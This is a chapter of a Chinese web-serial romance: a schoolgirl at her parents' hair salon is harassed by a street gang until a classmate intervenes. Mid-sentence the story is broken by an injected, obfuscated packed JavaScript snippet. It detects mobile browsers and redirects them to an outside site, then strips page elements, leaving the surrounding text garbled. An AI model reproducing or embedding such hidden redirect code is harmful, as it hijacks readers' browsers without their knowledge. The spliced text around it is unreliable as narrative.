“那个……” 没两分钟,舒禾犹犹豫豫地放下笔,轻轻歪头看向同桌:“我们学校附近的路已经修好了吗?” 连续这么多天没在校门外遇到贺行雪,舒禾还是觉得有些奇怪,但又不想把原因归结到自己身上,只能猜测是不是路已经修好的缘故。 “嗯?什么修路?”秦嘉文的眼神里透着疑惑。 “就是贺行雪家附近的那条路啊。”舒禾解释。 秦嘉文越听越懵,甚至没来得及思考她怎么会知道贺行雪住哪里,第一反应先行否认了。 “不可能啊,我前两周才去找过阿雪,那条路还好好的呢,近期都不可能有过动工的,你是不是记错了?” 他说完,这次懵的人换成了舒禾。 前两周,还正是她偶尔能在回家路上碰见贺行雪的时候。 秦嘉文的神情不似作假,何况他也不是爱捉弄人的性格,可为什么,他和贺行雪说的不一样? 舒禾困惑地皱了皱眉,等到晚上放学的时候,她没直接回家,鬼使神差地抬脚,往平日的反方向走。 方向不同,连环境都天翻地覆。这条路长得看不见尽头,街道宽敞整洁,路灯明亮如昼,连空气里都充盈着草木清香,和她家附近那条小巷子简直天差地别。 舒禾攥紧细细的书包带子,慢慢停下了脚步,没有继续深入。 答案已经一目了然了。 她内心却仍然迷茫,垂了垂眼睫,转身回家。 * 一到假期,店里人流量就多了起来,夫妻俩洗头剪头吹头连轴转,忙也忙不过来,舒禾就把作业带到店里,帮着清理地上的断发,实在没人手的时候,她也能兼顾一下洗头,闲时就趴在前台写作业。 门口偶尔会走进来十几岁高中模样的男生,她总是要心慌地抬头看一眼,担心贺行雪真的说到做到找来这里剪头发,不过好在每次见到的都是不认识的人。 接下来几天假期都在平淡又忙碌的氛围中度过,直到最后一天那个男生也没有出现,闲鱼依然安安静静的没有收到一条消息,舒禾不由松了口气。 这天短暂的午休结束,陈燕梅收拾着东西准备开门迎客,她朝舒远山吼了一声,舒远山才念念不舍地放下手里的书,过去帮忙收拾。 一缕清风从门口送进来,舒远山手里拿着剪刀和尖尾梳,半闭着眼感受凉风习习,突生惆怅,一面收拾一面晃头吟诗:“不经一番寒彻骨,怎得梅花扑鼻香……” 陈燕梅这几天忙得上气不接下气,见他居然还这副神神叨叨的模样,巴掌就忍不住飞了过去:“你寒什么寒呢?给客人洗头把你尊贵的小手寒着了啊?” 舒远山脑门挨了一下,一下就老实了不敢再吱声。 陈燕梅就看不惯他这副做派,火冒三丈:“一天天就爱整这些不切实际的,咋的,你多念句诗那客人还能多长个脑袋让你洗吗?!” 旁边观战的舒禾在心中默默叹气,过了一会见陈燕梅还在一直念叨,她正想上去劝和几句,让陈女士消消气,谁知玻璃门忽然被人结结实实地掀了一下! 屋内三人霎时看过去,只见门口聚集着七八个流里流气的男人,头发颜色蓝的黄的红的,总之没一个黑头发,肌肉虬结的手臂上倒是统一搞了五花八门的纹身。 他们团团围在这间小理发店门口,把外面投来的阳光都快遮严实。 有人吹了声口哨:“哟,还挺热闹啊。” 屋子里的光线乍然暗了许多,舒远山走到墙壁边把灯揿亮,陈燕梅皱眉叉腰地盯着这群人:“你们谁啊,堵我店门口干嘛?!” 人群里慢慢走出来一个穿背心配皮衣的黄卷毛,他嘴里叼了根烟,姿势放荡地踏进店里,左顾右盼一阵,旁若无人地抬脚踩了踩凳子,又拎起一把剪刀,好奇似的摸来摸去。 最后他将目光瞄准边上一动不动的女生,缓缓咧嘴笑了。 舒禾和他对上视线,脸颊白了白,咬住的嘴唇轻微发颤。 这是之前在医院遇见过的那个混混。 这群街头混子一看就像来闹事的,陈燕梅也是个暴躁脾气,上去就指着冲那人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17020981|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吼:“凳子给我踩坏了你赔啊!” 舒远山立刻伸手想要揽住她,然而没等动作,那黄卷毛“噔”一下把椅子踹翻了,椅子飞到陈燕梅脚边,发出震耳的轰隆声,地上拖拽出好长一道痕迹。 “一进门就冲我又指又骂,你们就是这么对待客人的?”黄卷毛两指夹住嘴里的烟,眼珠子落到脸色苍白的女生身上,轻佻地“哟”了一声,“怪不得能教出个赖账的女儿啊。” 陈燕梅被脚下的凳子吓得呆了几秒,一听他居然把脏水泼女儿身上,脾气顿时又控制不住了:“我警告你们啊,赶紧走开别打扰我做生意,不走我可要报警了啊!” 舒远山赶紧挡在了她前面,她这嘴太吸引火力了。 谁知黄卷毛直接老神在在地往椅子上一坐,把玩着桌上工具,不慌不忙的:“那你报警呗,我可什么都没做,正好让警察来看看,哪有你们这么态度恶劣地欺负客人的。” 他笑嘻嘻地说完,外面围着的几个人都挤了进来,吊儿郎当地附和着说:“是啊,我们就想来剪个头发,哪想到老板是个疯婆子,见人就咬啊。” 陈燕梅胸膛不住地起伏,气得呼吸都喘不匀了! 舒禾强自镇定下来,轻轻退了两步,悄无声息地伸手去摸衣兜里的手机,她相信这些人不可能不怕警察,就像上次那样,只要能找到机会报警就行了。 黄卷毛突然眼尖地注意到她的小动作,立时起身把凳子往后一蹬,在刺耳的噼里啪啦声中舒远山被他甩开,陈燕梅也被其他人用身体拦住,舒禾还没来得及拨通电话,就被人拽着衣领粗暴地往前拖行了两步。 “偷偷摸摸干嘛呢你?”黄卷毛拽着她,力道丝毫没收着,他伸手夺过手机。舒禾浑身发颤,呼吸都在抖,她垂着眼睛没说话,怕再次激怒这个男人。 舒远山和陈燕梅看见这一幕,又惊又怒地想冲过去,却被三三两两的人拦着,只能对着黄卷毛吼:“你狗*生的赶紧放开我女儿!” 黄卷毛瞥了眼手机屏幕,阴阴地笑了两声,不仅没放开,竟还伸手在她冰凉的脸上拍了拍。 舒禾厌恶地偏了偏脸。 “不是我不放开,主要是您这女儿不老实啊——” “砰——” 话音尚未落下,他脸上轰然挨了一拳。 黄卷毛被这拳打得眼冒金星,掌心捂住侧脸,大脑嗡鸣了好一阵,模糊的视线才逐渐清晰起来——眼前站着一个面色阴沉的男生,他垂着眼皮冷冷地睨过来,黄卷毛的心脏抖了抖,下意识想退后两步,忽然反应过来今天自己这么多人,不禁又挺直了腰板。 他尝到嘴里的血腥味,冷笑一声推开舒禾,招呼着兄弟一起教训教训这个男生。 “又是你啊,既然碰上了,这次我们可要连着之前的账好好算一算。” 几个人高马大的男人一起围过来,贺行雪眼神都没变一下,冷淡地扫过这些人。舒禾唇色惨白,慌张地去找手机,声音颤抖着溢出来。 “贺行雪……”